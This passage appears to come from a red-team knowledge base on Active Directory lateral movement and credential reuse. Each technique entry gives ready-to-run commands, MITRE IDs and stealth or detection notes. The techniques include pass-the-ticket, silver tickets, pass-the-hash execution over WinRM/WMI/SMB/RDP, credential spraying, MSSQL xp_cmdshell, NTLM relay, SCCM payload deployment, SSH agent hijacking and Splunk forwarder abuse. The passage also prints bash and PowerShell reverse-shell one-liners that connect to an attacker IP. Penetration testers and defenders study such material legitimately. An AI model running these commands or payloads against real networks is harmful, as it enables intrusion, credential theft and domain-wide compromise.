OPSEC / detection: Quieter than NTLM PtH, but an AS-REQ using RC4 when the account supports AES is anomalous. Prefer the AES key (/aes256) where available. Export KRB5CCNAME to the minted .ccache so downstream -k / --use-kcache tooling picks it up, and if the KDC returns KRB_AP_ERR_SKEW prefer wrapping the call in faketime (no clock change needed, often the only option in containers / without root), or sync the host clock to the DC with chrony / ntpsec-ntpdate (ntpdate itself is gone from current distros).

Pass-the-Ticket

Inject a stolen/forged Kerberos ticket into a session.

Reuse a Kerberos ticket (TGT or TGS) you stole from memory or forged (silver/golden) by injecting it into a logon session: authenticate as that principal with no password. On Windows the ticket is loaded with Rubeus/Mimikatz (.kirbi); on Linux the same idea is "pass-the-cache", where you point KRB5CCNAME at a .ccache (converting formats with impacket ticketConverter if needed). Operating over Kerberos from a Linux box has three setup prerequisites that bite first: the DC must be reachable by FQDN (add it to /etc/hosts so SPNs canonicalize), a krb5.conf for the realm must exist, and the host clock must sit within five minutes of the DC or the KDC returns KRB_AP_ERR_SKEW.

Requires

  • A valid stolen or forged Kerberos ticket (.kirbi or .ccache)

Example commands

# Inject a ticket on Windows (Rubeus)
Rubeus.exe ptt /ticket:ticket.kirbi
# Pass-the-cache on Linux (.ccache)
export KRB5CCNAME=/tmp/ticket.ccache && psexec.py -k -no-pass -dc-ip <dc-ip> domain.local/Administrator@dc01.domain.local
# Convert .kirbi <-> .ccache
ticketConverter.py ticket.kirbi ticket.ccache
# Kerberos setup: generate a krb5.conf for the realm
netexec smb dc01.domain.local -u user -p 'Password' --generate-krb5-file /etc/krb5.conf
# Kerberos setup: fix clock skew to the DC (avoid KRB_AP_ERR_SKEW)
faketime -f +Nh <auth-command>   # no root/NTP; or one-shot sync: sudo chronyd -q 'server dc01.domain.local iburst' (ntpdate is gone from Debian 13/Kali)

Tools

MITRE ATT&CK: T1550.003

References

OPSEC / detection: Ticket use itself is normal Kerberos; anomalies come from lifetime, encryption type, or a TGT appearing on an unexpected host. Match realistic lifetimes/etypes.

Silver Ticket

Forge a TGS from a service account's hash.

With a service account's password hash (e.g. from Kerberoasting or a machine account), forge a TGS directly for that service SPN: no KDC interaction, so it never touches a DC. Scoped to one service on one host but stealthy and offline to create. Because you control the PAC, you can inject privileged group SIDs (extra-SIDs such as Domain Admins 512, or a custom group RID) so the service authorises you as a member of groups you are not in: this is how one service-account hash yields admin-equivalent access on that service, e.g. an MSSQL OPENROWSET(BULK) file read or a privileged SMB session.

Requires

  • The target service account hash (NT or AES)
  • Domain SID

Example commands

# Forge a silver ticket (Impacket)
ticketer.py -nthash <SVC_HASH> -domain-sid <SID> -domain domain.local -spn cifs/target.domain.local Administrator
# Forge + inject (Rubeus)
Rubeus.exe silver /service:cifs/target.domain.local /rc4:<SVC_HASH> /user:Administrator /domain:domain.local /sid:<SID> /ptt

Tools

MITRE ATT&CK: T1558.002

References

OPSEC / detection: No DC contact at forge time; detection relies on host-side TGS anomalies and (where enabled) PAC validation. A forged PAC without a real AS/TGS exchange can be caught by KDC PAC checks. An RC4-based silver ticket may fail with KRB_AP_ERR_MODIFIED on RC4-disabled / AES-only services, so use the AES key (Rubeus /aes256, ticketer -aesKey) there.

WinRM Execution

Interactive shell over WinRM (5985/5986).

With credentials/hash and the target Remote Management Users membership, evil-winrm gives an interactive PowerShell session over WinRM. Cleaner than service-based exec and supports pass-the-hash and Kerberos auth.

Requires

  • Local admin or Remote Management Users membership
  • WinRM enabled (5985/5986)

Example commands

# Connect with a password
evil-winrm -i 10.0.0.20 -u Administrator -p 'Passw0rd!'
# Connect via pass-the-hash
evil-winrm -i 10.0.0.20 -u Administrator -H <NTHASH>

Tools

MITRE ATT&CK: T1021.006

References

OPSEC / detection: WinRM logons create 4624 type-3 events and PowerShell/WinRM operational logs; if Script Block Logging (4104) is enabled it captures the deobfuscated commands (off by default, but common in hardened/EDR-monitored estates). Blend with admin activity windows.

WMI Exec

Semi-interactive exec over WMI (135/DCOM).

Impacket's wmiexec runs commands via WMI over DCOM/RPC, returning output through a temp file on ADMIN$: no service is created, so it is quieter than psexec. Supports pass-the-hash and Kerberos.

Requires

  • Local admin on the target
  • RPC/DCOM (135) + SMB (445) reachable

Example commands

# Semi-interactive WMI shell
wmiexec.py domain.local/Administrator:'Passw0rd!'@10.0.0.20
# Pass-the-hash
wmiexec.py -hashes :<NTHASH> domain.local/Administrator@10.0.0.20

Tools

MITRE ATT&CK: T1047

References

OPSEC / detection: No service event (quieter than psexec), but WMI process creation, the ADMIN$ temp file, and 4624 type-3 logons are detectable. Defenders flag wmiexec command-line patterns.

DCOM Exec

Code execution via DCOM objects (e.g. MMC20).

Certain DCOM objects (MMC20.Application, ShellWindows, ShellBrowserWindow) expose methods that spawn processes, allowing remote execution over DCOM/RPC (135 + dynamic ports). DCOM lateral movement is less commonly monitored, but by default dcomexec.py still grabs command output over SMB (ADMIN$), so with 445 blocked the command runs but cannot retrieve output; use -silentcommand/-nooutput for truly SMB-free blind execution.

Requires

  • Local admin on the target
  • DCOM/RPC (135 + dynamic ports) reachable

Example commands

# Exec via a DCOM object (pass a command; with none it drops to a semi-interactive shell)
dcomexec.py -object MMC20 domain.local/Administrator:'Passw0rd!'@10.0.0.20 whoami

Tools

MITRE ATT&CK: T1021.003

References

OPSEC / detection: DCOM lateral movement is less commonly monitored, but the child process spawns from a named parent that is easy to hunt: MMC20.Application spawns mmc.exe (launched with -Embedding, child of svchost.exe / DcomLaunch), while ShellWindows / ShellBrowserWindow execute under explorer.exe, alongside 4624 type-3 logons. mmc.exe spawning cmd/powershell is a high-signal, low-noise detection, so "less monitored" understates the MMC20 risk. Object availability varies by Windows version.

PsExec / Service Exec

SYSTEM shell via a service over SMB (445).

The loud but reliable classic. Drop a binary to ADMIN$ and register + start a Windows service through the SCM over SMB/RPC, running as SYSTEM. Impacket's psexec.py drops a SYSTEM shell by default; Sysinternals PsExec needs -s for SYSTEM (without it the remote process runs in the context of the connecting user). Impacket's psexec.py supports pass-the-hash (-hashes) and Kerberos (-k); Sysinternals PsExec takes only a plaintext password.

Requires

  • Local admin on the target
  • SMB (445) + ADMIN$ reachable

Example commands

# SYSTEM shell with a password
psexec.py domain.local/Administrator:'Passw0rd!'@10.0.0.20
# Pass-the-hash
psexec.py -hashes :<NTHASH> domain.local/Administrator@10.0.0.20

Tools

MITRE ATT&CK: T1021.002

References

OPSEC / detection: The loudest of the exec family: a service install (System 7045 / Security 4697) plus the dropped binary on ADMIN$. Impacket psexec.py installs a RemComSvc-based service with a randomized binary (still a 7045/4697 service-install event), while Sysinternals leaves the fixed PSEXESVC name. The service install is loud either way, so prefer wmiexec or atexec when stealth matters.

SMBExec

Semi-interactive SMB shell, no binary dropped.

Impacket's smbexec spawns a temporary service that runs each command through cmd.exe and pipes the output back over SMB: no service EXE is dropped (unlike PsExec), sidestepping the PE payload binary. It is not fileless though: smbexec still writes a per-command batch file (a random .bat) and an __output capture file to disk on the target. Runs as SYSTEM and supports pass-the-hash; the trade-off is a service created per command.

Requires

  • Local admin on the target
  • SMB (445) reachable

Example commands

# Semi-interactive SYSTEM shell
smbexec.py domain.local/Administrator:'Passw0rd!'@10.0.0.20
# Pass-the-hash
smbexec.py -hashes :<NTHASH> domain.local/Administrator@10.0.0.20

Tools

MITRE ATT&CK: T1021.002

References

OPSEC / detection: No PE payload binary on disk, but a service is created per command (repeated 7045), noisy in the event log. smbexec stages to C$ (the default -share), where an __output file and a batch file appear (in C:\Windows or C:\Windows\Temp), usually auto-deleted but left behind on failure; unlike PsExec there is no ADMIN$ EXE staging. Defenders signature the smbexec service-name/command pattern.

Scheduled-Task Exec

Run as SYSTEM via a remote scheduled task.

Impacket's atexec registers a one-shot scheduled task through the Task Scheduler service (MS-TSCH) over the \pipe\atsvc named pipe on SMB, runs it as SYSTEM, captures the output, and deletes the task: no service install, so it is quieter than PsExec. A fallback when service-based exec is blocked or closely watched.

Requires

  • Local admin on the target
  • SMB (445 or 139) reachable

Example commands

# Run a command as SYSTEM
atexec.py domain.local/Administrator:'Passw0rd!'@10.0.0.20 whoami
# Pass-the-hash
atexec.py -hashes :<NTHASH> domain.local/Administrator@10.0.0.20 whoami

Tools

MITRE ATT&CK: T1053.005

References

OPSEC / detection: If 'Audit Other Object Access Events' is enabled, task create/delete raise Security 4698/4699; otherwise the activity is only in the Microsoft-Windows-TaskScheduler/Operational log (106/140/141). Not audited to Security by default. No service event and no binary drop, so quieter than PsExec, but scheduled-task artifacts are well-monitored.

RDP

Interactive desktop over RDP (3389).

Two paths with different prerequisites. Password RDP needs only Remote Desktop Users membership (can be a non-admin), so you may land as a non-admin user. Restricted Admin mode (pass-the-hash over RDP, log in with just an NT hash) additionally requires the account to be a LOCAL ADMIN on the target: a Remote Desktop Users-only account can RDP with a password but cannot use Restricted Admin PtH, so the hash path does not yield a non-admin foothold. Useful to reach GUI-only tooling or ride an existing session.

Requires

  • Remote Desktop Users membership for password RDP (local admin required for Restricted Admin pass-the-hash)
  • RDP (3389) reachable
  • Restricted Admin mode enabled for pass-the-hash

Example commands

# Connect with a password (binary may be xfreerdp3 on current distros)
xfreerdp /v:10.0.0.20 /u:Administrator /p:'Passw0rd!'
# Pass-the-hash (Restricted Admin)
xfreerdp /v:10.0.0.20 /u:Administrator /pth:<NTHASH>

Tools

MITRE ATT&CK: T1021.001

References

OPSEC / detection: Password-based RDP is a type-10 RemoteInteractive logon (4624) the console user can literally see, plus RDP operational logs. Restricted Admin pass-the-hash instead produces a type-3 Network logon (same as an SMB connection), quieter on the endpoint but exactly what Restricted-Admin-abuse detections hunt for. Bitmap cache is only written client-side for full desktop sessions. Restricted Admin must be enabled host-side for PtH and itself weakens the target.

SSH

Shell over SSH (22): Linux & OpenSSH hosts.

In mixed estates SSH is a first-class lateral channel: Linux servers, network appliances, hypervisors, and Windows hosts running OpenSSH. Authenticate with reused passwords, recovered private keys, or (on domain-joined Linux) Kerberos/GSSAPI. Any account allowed to log in works; you need not be an admin (escalate locally afterward if not).

Requires

  • A valid SSH login on the target: password, private key, or Kerberos
  • SSH (22) reachable

Example commands

# Authenticate with a recovered key
ssh -i id_rsa svc_backup@10.0.0.50
# Spray reused creds across hosts
nxc ssh hosts.txt -u users.txt -p passwords.txt --continue-on-success

Tools

MITRE ATT&CK: T1021.004

References

OPSEC / detection: Logs to auth.log / sshd (and the Windows OpenSSH operational log). Key-based reuse blends in and often survives password rotations. Hunt for private keys on every host you own.

Reverse / Bind Shell

Turn one-shot exec into an interactive session.

When the execution primitive is one-shot or non-interactive (a single wmiexec/atexec command, a web shell, MSSQL xp_cmdshell, an Office macro) or inbound ports are firewalled, drop a payload that connects back to your listener for an interactive shell (a bind shell is the ingress-allowed inverse). Pick a one-liner that matches the target runtime: PowerShell, cmd, bash, python, or nc.

Requires

  • Any command-execution primitive on the target
  • An outbound path (reverse) or open inbound port (bind) to your listener

Example commands

# Catch the shell (listener)
nc -lvnp 443
# Linux bash reverse
bash -i >& /dev/tcp/10.0.0.66/443 0>&1
# PowerShell reverse one-liner
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('10.0.0.66',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=([Text.Encoding]::ASCII).GetBytes((iex $d 2>&1|Out-String));$s.Write($sb,0,$sb.Length);$s.Flush()}"
# Bind shell: target listens (run on the target)
ncat -lvnp 4444 -e cmd.exe
# Bind shell: attacker connects in
nc 10.0.0.20 4444

Tools

MITRE ATT&CK: T1059

References

OPSEC / detection: An outbound connection to an attacker IP/port and a shell-spawning parent (w3wp/sqlservr → powershell) are prime EDR signals. Use common ports (443), encrypt where you can, and avoid stock one-liners that signatures already know.

User-Context Foothold

Operate as the authenticating user: their privileges, identity, and secrets.

A shell running as whatever account the access landed you on, carrying exactly ITS privileges, which may or may not be local admin. Most exec channels land you here: WinRM/RDP as a remote-access-group user, a caught reverse shell, web/app RCE as the IIS app-pool or a service account, xp_cmdshell as the SQL service account, a hijacked user's session. Run `whoami /groups` (or `id`) to see what you really hold. The account may be a plain user, a privileged one, or a (often domain) service account. Either way you inherit its identity and group memberships, so move laterally AS it and loot its secrets. If it isn't already local admin, escalate locally (SeImpersonate/potato, etc.) to admin / SYSTEM; if it's a domain account, use its domain identity.

Requires

  • Code execution as a user on the host

Example commands

# Check what this account actually has (Windows; domain UPN may be absent for local/service accounts)
whoami /groups & whoami /priv & whoami /upn
# Check what this account actually has (Linux)
id; groups; hostname; sudo -l 2>/dev/null

Tools

MITRE ATT&CK: T1078

References

OPSEC / detection: Operating as the legitimate user is quiet: their logons and process activity are expected. The tell is a privileged account suddenly running recon, or a burst of escalation attempts from a normal user.

MSSQL Linked Servers

Pivot through trusted MSSQL links -> xp_cmdshell.

MSSQL linked servers let one instance query another, often executing on the remote side under a higher-privileged mapped login. By chaining EXECUTE AT / OPENQUERY across links you can crawl from a low-priv login to a sysadmin context on another SQL host, then enable and run xp_cmdshell to get OS command execution as the (frequently privileged) SQL service account.

Requires

  • A valid MSSQL login (Windows or SQL auth)
  • One or more linked servers with usable login mappings

Example commands

# Connect (Windows auth)
mssqlclient.py -windows-auth domain.local/user:pass@10.0.0.30
# Enumerate links, hop, exec
enum_links
use_link LINKED-SQL
enable_xp_cmdshell
xp_cmdshell whoami
# Crawl all links (PowerUpSQL)
Get-SQLServerLinkCrawl -Instance sql01 -Query "exec master..xp_cmdshell 'whoami'"
# Enumerate linked servers (NetExec)
nxc mssql <host> -u user -p pass -M enum_links
# OS command on a linked server (NetExec)
nxc mssql <host> -u user -p pass -M link_xpcmd -o LINKED_SERVER=SQL02 CMD='whoami'

Tools

MITRE ATT&CK: T1059.003

References

OPSEC / detection: xp_cmdshell spawns processes under the SQL Server service account (4688; the command line is captured only where process-creation command-line auditing is enabled, off in many environments) and is disabled by default. The more decisive enable-step signal is SQL Application-log Event ID 15457 (config option changed) / the SQL error log. Linked-server hops appear as distributed queries in SQL audit/trace.

SSSD UPN Spoofing (NT_ENTERPRISE)

Rewrite a victim userPrincipalName to a target, then a NT_ENTERPRISE TGT impersonates them on a Linux/SSSD host.

Linux hosts joined to AD via SSSD map a Kerberos principal to a local account. With write access to a userPrincipalName (a GenericWrite / GenericAll edge), set the controlled account's userPrincipalName to the TARGET account's samAccountName (bare, no @domain suffix), which is what the NT_ENTERPRISE search resolves first, then request a TGT for an NT_ENTERPRISE-typed principal: with the localauth plugin bypassed or unconfigured, SSSD falls back to name-based (an2ln) mapping and resolves the enterprise-principal ticket to the target local account by the spoofed UPN, logging you in as that user on the domain-joined Linux box. A mixed-vendor Kerberos-stack flaw (CVE-2025-11561), distinct from the AD CS UPN-mapping ESCs (no certificate involved).

Requires

  • GenericWrite / GenericAll over a principal’s userPrincipalName
  • A domain-joined Linux host running SSSD

Example commands

# Set the victim UPN to the target (bloodyAD)
bloodyAD -u user -p PASS -d corp.local --host dc set object 'controlled-user' userPrincipalName -v 'taylor.b.adm'
# Request an enterprise-principal TGT, then SSH
getTGT.py -dc-ip 10.0.0.1 -principalType NT_ENTERPRISE 'corp.local/controlled-user:PASS'  # NT_ENTERPRISE hint makes SSSD resolve the UPN to the target

Tools

MITRE ATT&CK: T1098

References

OPSEC / detection: The userPrincipalName write is a directory change (5136) and an obvious anomaly (a service/user UPN suddenly matching an admin); the impersonated logon appears on the Linux host.

COM/CLSID Handler Hijack

Repoint a writable COM CLSID at your DLL so the next process to load it runs your code.

Windows resolves a COM CLSID from HKCU\Software\Classes before HKLM, and each process reads its OWN user's hive. Repoint a CLSID's InProcServer32 / handler at your DLL and the next process that loads that object (a shell-extension or context-menu handler firing in Explorer, say) runs your code. Writing a CLSID in your own HKCU therefore executes as YOU, so this is primarily self-execution or user-level persistence. Cross-user execution is harder and needs one of: write into the victim's HKCU hive (their hive loaded, i.e. SYSTEM or their token), or an over-permissive machine-wide HKLM/HKCR CLSID that they load. From medium integrity you cannot write HKLM, which caps the reach. Distinct from the same trick used purely for reboot persistence.

Requires

  • Write access to a COM CLSID registration (your own HKCU hive, the victim’s loaded hive, or an over-permissive HKLM/HKCR CLSID)

Example commands

# Repoint a CLSID handler in your own hive (same-user, no admin)
reg add "HKCU\Software\Classes\CLSID\{<guid>}\InProcServer32" /ve /t REG_SZ /d "C:\evil.dll" /f

Tools

MITRE ATT&CK: T1546.015

References

OPSEC / detection: Registry writes to CLSID/InProcServer32 keys and an unexpected DLL load are classic EDR triggers; the hijacked handler fires only when a process next resolves that CLSID.

category Lateral Movement

Reuse credentials to spread across hosts.

Move between machines with harvested credentials (pass-the-hash, overpass-the-hash, pass-the-ticket) via remote execution over SMB (PsExec/SMBExec/scheduled tasks), WMI, DCOM, WinRM, RDP and SSH, plus service-layer pivots through MSSQL and SCCM.

MITRE ATT&CK: T1021

References

category Credential Reuse

Authenticate as the account with stolen secrets.

Reuse harvested credential material without the cleartext: replay an NT hash (pass-the-hash), turn a hash or key into a Kerberos TGT (overpass-the-hash), inject a stolen or forged ticket (pass-the-ticket), or RDP in with Restricted Admin mode. Each authenticates you as the account and runs code on the target host.

MITRE ATT&CK: T1550

References

category MSSQL Abuse

Pivot through SQL Server.

Abuse MSSQL access (xp_cmdshell for OS command execution, database/login impersonation, and linked-server chains) to run as the service account or hop to other servers.

References

category SCCM / MECM

Abuse the software-deployment platform.

Target Configuration Manager: recover network-access-account credentials, abuse client-push and NTLM relay to take over clients or the site server, and deploy applications as SYSTEM across the estate.

References

category Deployment Platform Abuse

Push code to the whole estate via a management platform.

Central deployment, monitoring, and configuration-management platforms push software and run scripts on every endpoint they manage, so abusing one you can reach lets you execute as a service account (often SYSTEM/root) across the estate at once. Splunk forwarders, Ansible/Salt/Puppet, and RMM suites (PDQ, Tanium, ManageEngine, Intune) are common targets; the Microsoft-native equivalents, SCCM and WSUS, are covered separately.

MITRE ATT&CK: T1072

category Service & Platform Abuse

Abuse a privileged server-side service or management platform to spread.

Turn a database service (MSSQL), a software-deployment platform (SCCM/MECM), or a config-management / RMM suite (Splunk, Ansible, Salt) against the estate: run code as the service account, or push it to every host they manage.

References

category SMB Service Exec

Run code via an SMB service; lands SYSTEM.

PsExec / SMBExec / scheduled-task execution over SMB (445): create or trigger a service or task that runs your command as SYSTEM. All require local admin on the target over SMB. PsExec drops a service binary to ADMIN$; SMBExec writes its command output to C$ and drops no payload binary; scheduled-task exec runs via the Task Scheduler RPC (ATSVC over IPC$) and needs no writable ADMIN$.

MITRE ATT&CK: T1021.002

References

category Interactive Logon

Log on over WinRM, RDP, or SSH.

Open a session with a remote-access right: WinRM (5985/5986) for a PowerShell shell, RDP (3389) for a desktop, or SSH (22). The privilege you land with depends on the account.

MITRE ATT&CK: T1021

References

category Shells & Breakouts

Turn code exec into a session, or break out of a constrained one.

Catch a reverse or bind shell from a code-execution primitive, or escape a constrained JEA endpoint to its RunAs identity, when a clean credentialed logon is not available.

MITRE ATT&CK: T1059

References

Relay to LDAP(S)

Relay the captured NTLM auth to a DC over LDAP(S) for a directory write.

Relay the coerced/poisoned NTLM authentication to LDAP or LDAPS on a Domain Controller. LDAP signing is not required by default (LDAPServerIntegrity is negotiate), but a relayed session cannot sign, so plain-LDAP relays fail once signing is negotiated. LDAPS is targeted to avoid signing, and StartTLS on 389 can bypass channel binding when signing is not enforced. The relayed session acts as the victim in the directory, so ntlmrelayx can perform a write attack: configure Resource-Based Constrained Delegation on a computer object (auto-creating an attacker-controlled computer with --delegate-access) or add Shadow Credentials (--shadow-credentials) to a principal. A relayed machine account is ideal for RBCD/Shadow Credentials because it can write over its own object. Granting DCSync (DS-Replication) is different: it edits the domain object\'s DACL, so it needs a relayed identity that already holds WriteDacl on the domain head (e.g. an Exchange server or a privileged account), not a plain machine account.

Requires

  • Captured/coerced NTLM auth (a machine account is ideal)
  • LDAP signing / channel binding NOT enforced on the DC

Example commands

# Relay to LDAPS -> configure RBCD
ntlmrelayx.py -t ldaps://dc01.corp.local --delegate-access -smb2support
# Relay to LDAPS -> Shadow Credentials
ntlmrelayx.py -t ldaps://dc01.corp.local --shadow-credentials -smb2support

Tools

MITRE ATT&CK: T1557.001

References

OPSEC / detection: Writing msDS-AllowedToActOnBehalfOfOtherIdentity or msDS-KeyCredentialLink is an auditable directory change (5136); --delegate-access also creates a computer account (4741). Enforcing LDAP signing + channel binding breaks this. Clean up the attribute afterwards.

External Trust Abuse

Non-transitive external trust: credential reuse and foreign-rights lateral movement.

External trusts are typically one-way and non-transitive. Windows Server 2003+ auto-enables quarantine (TRUST_ATTRIBUTE_QUARANTINED_DOMAIN 0x4) on external trusts, so the DC accepts only SIDs whose domain is the directly-trusted domain and strips every other foreign SID regardless of RID. SIDHistory is off, so ExtraSid injection (including RID ≥ 1000) does not apply here. The realistic paths: reuse of credentials/hashes that overlap both domains, and plain lateral movement using any foreign principal that already holds rights in the trusting domain. Confirm trustAttributes from trust-enum first.

Requires

  • A mapped external trust
  • Foreign rights or reused credentials into the trusting domain

Example commands

# Inspect trust direction & attributes
Get-DomainTrust -Domain external.local
# Spray a reused credential into the trusting domain
nxc smb trusting-dc.trusting.local -u users.txt -p 'Reused@Pass1' -d trusting.local --continue-on-success

Tools

References

OPSEC / detection: Default external-trust quarantine strips every SID except those of the directly-trusted domain, so ExtraSid injection (any RID) fails; treat this as a credential-reuse and foreign-rights path, not a SID-injection one. Verify the actual trustAttributes before relying on it.

Inter-Forest Trust Abuse

Forest-transitive trust: cross-forest Kerberoast & foreign ACLs.

Forest trusts are FOREST_TRANSITIVE (trustAttributes 0x8) and span every domain in both forests, but SID filtering is enabled by default, so cross-forest SID-history hopping is blocked. The realistic surface is access-based: Kerberoasting service accounts in the foreign forest, and abusing foreign principals that hold ACLs or local-group membership in your forest (and vice-versa). Enumerate those foreign access relationships before acting.

Requires

  • A mapped forest (FOREST_TRANSITIVE) trust
  • A valid account on your side of the forest trust

Example commands

# Cross-forest Kerberoast (Rubeus)
Rubeus.exe kerberoast /domain:foreign.local /nowrap
# Find SPN accounts in the foreign forest
Get-DomainUser -SPN -Domain foreign.local | Get-DomainSPNTicket

Tools

MITRE ATT&CK: T1558.003

References

OPSEC / detection: Cross-forest TGS requests (4769) for foreign SPNs and BloodHound cross-forest collection are visible. Injecting the foreign Enterprise/Domain Admins SID is filtered, so do not expect SID-history escalation across a forest boundary. Historical SID-filter bypasses (e.g. CVE-2020-0665) are patched on current builds.

Deploy App as SYSTEM

As an SCCM admin, deploy an app/script to run as SYSTEM on targets.

With Full Administrator or Application Administrator rights, create an application/script deployment targeting any device or collection and run it in the SYSTEM context (EXEC-1/2). SharpSCCM automates the flow: create a collection, add the target, create the app with a payload, deploy, and force a policy refresh. This fans out to managed endpoints as SYSTEM.

Requires

  • SCCM Full Administrator or Application Administrator role
  • Reachability to the SMS Provider / management point

Example commands

# Deploy a command to a device as SYSTEM
SharpSCCM.exe exec -d <DEVICE> -p "C:\Windows\System32\cmd.exe /c <payload>" -s
# Deploy to an existing collection as SYSTEM
SharpSCCM.exe exec -n <COLLECTION_NAME> -p "\\attacker\share\beacon.exe" -s

Tools

MITRE ATT&CK: T1072

References

OPSEC / detection: Deployments are logged in SCCM and leave deployment objects, collections, and client execution records. Scope to specific devices and clean up created objects.

Bronze Bit (CVE-2020-17049)

Forge the forwardable flag on S4U2self tickets to bypass delegation restrictions.

CVE-2020-17049 lets an attacker who controls a delegation-configured account tamper with the encrypted S4U2self ticket to set the forwardable bit, even without TrustedToAuthForDelegation, or when the target is 'sensitive and cannot be delegated' / in Protected Users. This widens constrained-delegation abuse to impersonate otherwise-protected privileged users.

Requires

  • Control of a delegation-configured account's key/hash
  • An unpatched KDC (pre Nov-2020)

Example commands

# Forge a forwardable S4U ticket
getST.py -spn cifs/target.corp.local -impersonate Administrator -force-forwardable corp.local/svc$ -hashes :<NT-hash>

Tools

MITRE ATT&CK: T1558

References

OPSEC / detection: Requires the delegation account key. Only the bit-flip is offline; the attack still performs live S4U2self and S4U2proxy exchanges against the KDC (4769 events on the DC). The tampered ticket is undetectable in its contents (no signature protects the forwardable flag), but those S4U round-trips are ordinary logged KDC traffic. Patched on updated DCs, so success implies an unpatched KDC.

MSSQL Command Execution

Log in to MSSQL and get host RCE as the SQL service account via xp_cmdshell (or OLE / Agent).

A SQL login with sysadmin (or an impersonation path to it) can enable and run xp_cmdshell, executing OS commands as the SQL Server service account. Since SQL Server 2012 the default install runs under the low-privilege per-service virtual account (NT SERVICE\MSSQLSERVER for the default instance), which is not SYSTEM and not a local admin but holds SeImpersonatePrivilege, so it is a potato (token-impersonation) path to SYSTEM rather than SYSTEM already. It is only an admin/SYSTEM foothold when the service was configured to run as a privileged account. OLE automation and the SQL Agent are quieter alternatives to xp_cmdshell.

Requires

  • A SQL login with sysadmin or an impersonation path on a reachable MSSQL instance

Example commands

# xp_cmdshell RCE
mssqlclient.py <domain>/<user>@<host> -windows-auth
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
# One-liner (NetExec)
nxc mssql <host> -u <u> -p <p> -x "whoami"

Tools

MITRE ATT&CK: T1059

References

OPSEC / detection: Enabling xp_cmdshell and the spawned process are logged (SQL audit / Sysmon 4688). OLE automation (sp_OACreate) is quieter; revert sp_configure changes.

SSH Session Hijacking

Ride a live ControlMaster socket or forwarded ssh-agent: no creds needed.

On a host where a user holds active SSH sessions, pivot as them without their password or key. OpenSSH ControlMaster multiplexing leaves a control socket you can reuse to open new channels over their authenticated connection; and a forwarded ssh-agent (SSH_AUTH_SOCK) lets you sign authentications onward to any host the user can reach. Both inherit the victim's identity silently.

Requires

  • root (or the session owner) on a host with an active ControlMaster socket or forwarded ssh-agent

Example commands

# Ride a ControlMaster socket
ls -la ~/.ssh/ /tmp 2>/dev/null | grep -iE 'ctl|master|mux'
ssh -S /home/victim/.ssh/cm-victim@10.0.0.50:22 victim@10.0.0.50
# Hijack a forwarded ssh-agent
# OpenSSH 10.1 (Oct 2025) moved agent sockets out of /tmp to ~/.ssh/agent, so cover both:
export SSH_AUTH_SOCK=$(find /tmp ~/.ssh/agent /home/*/.ssh/agent -path '*ssh-*/agent.*' -o -path '*/.ssh/agent/*' 2>/dev/null | head -1)
# version-independent fallback: read SSH_AUTH_SOCK live from a victim process
grep -a SSH_AUTH_SOCK /proc/*/environ 2>/dev/null
ssh-add -l && ssh victim@next-host

Tools

MITRE ATT&CK: T1563.001

References

OPSEC / detection: No new authentication: you reuse the victim's live session/agent, so there is no password prompt and no key on disk (very quiet). Agent forwarding to untrusted hosts is the root misconfiguration.

JEA Endpoint Breakout

Escape a constrained PowerShell (JEA) admin endpoint to the RunAs identity.

Just Enough Administration (JEA) exposes a constrained PowerShell remoting endpoint that executes as a privileged virtual / RunAs account while restricting the caller to whitelisted functions in NoLanguage mode. Enumerate the visible functions for ones that wrap arbitrary execution (Invoke-Expression, Start-Process, external binaries, or a -ScriptBlock parameter), or escape the constrained runspace, to run commands as the privileged RunAs identity: a local-to-admin jump on that host. If the JEA endpoint is hosted on a domain controller, that RunAs identity is effectively SYSTEM on the DC, so a breakout there is a direct domain compromise rather than a single-host jump.

Requires

  • Credentials that map to a JEA (constrained PowerShell remoting) endpoint

Example commands

# Inspect the endpoint (visible functions + language mode)
Get-PSSessionConfiguration | Select Name, RunAsUser
Enter-PSSession -ComputerName 10.0.0.20 -ConfigurationName JEAMaintenance
Get-Command -CommandType Function; $ExecutionContext.SessionState.LanguageMode

MITRE ATT&CK: T1059.001

References

OPSEC / detection: Transcription (TranscriptDirectory in the .pssc) and module logging are optional, not automatic on every JEA endpoint; where the admin has enabled them, breakout commands stand out against the whitelisted baseline, so first check whether logging is configured. The usual escape is a visible function that shells out (Invoke-Expression / external binary) rather than a runspace escape.

Splunk Forwarder Abuse

Push a forwarder bundle → SYSTEM on every Splunk-monitored host.

Splunk aggregates logs from a Universal Forwarder agent installed across the estate. With access to the Splunk deployment server (admin, or via forwarders that do not verify the server's TLS certificate, a MITM), push a malicious app bundle whose scripted input executes as the forwarder service account on every managed endpoint at once. That account was historically Local System/SYSTEM, but UF 9.1+ (2023) defaults to a least-privileged virtual account (NT SERVICE\SplunkForwarder); SYSTEM only if the installer's Local System option was chosen. SplunkWhisperer2 also turns a single forwarder with a writable input config into local RCE / privesc. An estate-wide foothold in the same class as SCCM and WSUS deployment abuse.

Requires

  • Access to the Splunk deployment server (admin creds, or forwarders that skip server-cert verification), or Splunk creds / local access to a single forwarder REST API (8089)

Example commands

# Remote: install a malicious app on a forwarder via its REST API (creds required; one host, not a deployment-server fan-out)
python3 PySplunkWhisperer2_remote.py --host 10.0.0.40 --lhost 10.0.0.66 --username admin --password 'Password1' --payload 'net user pwn P@ss123! /add'
# Local: install a malicious app via the local forwarder REST API (needs Splunk creds or local access to it, not a writable config)
python3 PySplunkWhisperer2_local.py --payload 'cmd /c net localgroup administrators pwn /add'

Tools

MITRE ATT&CK: T1072

References

OPSEC / detection: Pushing an app is loud in Splunk's own logs. The per-forwarder SplunkWhisperer2 commands shown here hit a single --host and are logged on that host/indexer; the many-hosts-at-once blast radius belongs to the deployment-server variant that fans an app out estate-wide, so target selectively there. The scripted input spawns from splunkd as the forwarder service account (SYSTEM on pre-9.1 or Local-System installs, otherwise the least-privileged NT SERVICE\SplunkForwarder virtual account), which EDR flags.

Config Mgmt & RMM Abuse

Run commands fleet-wide via Ansible/Salt or an RMM suite.

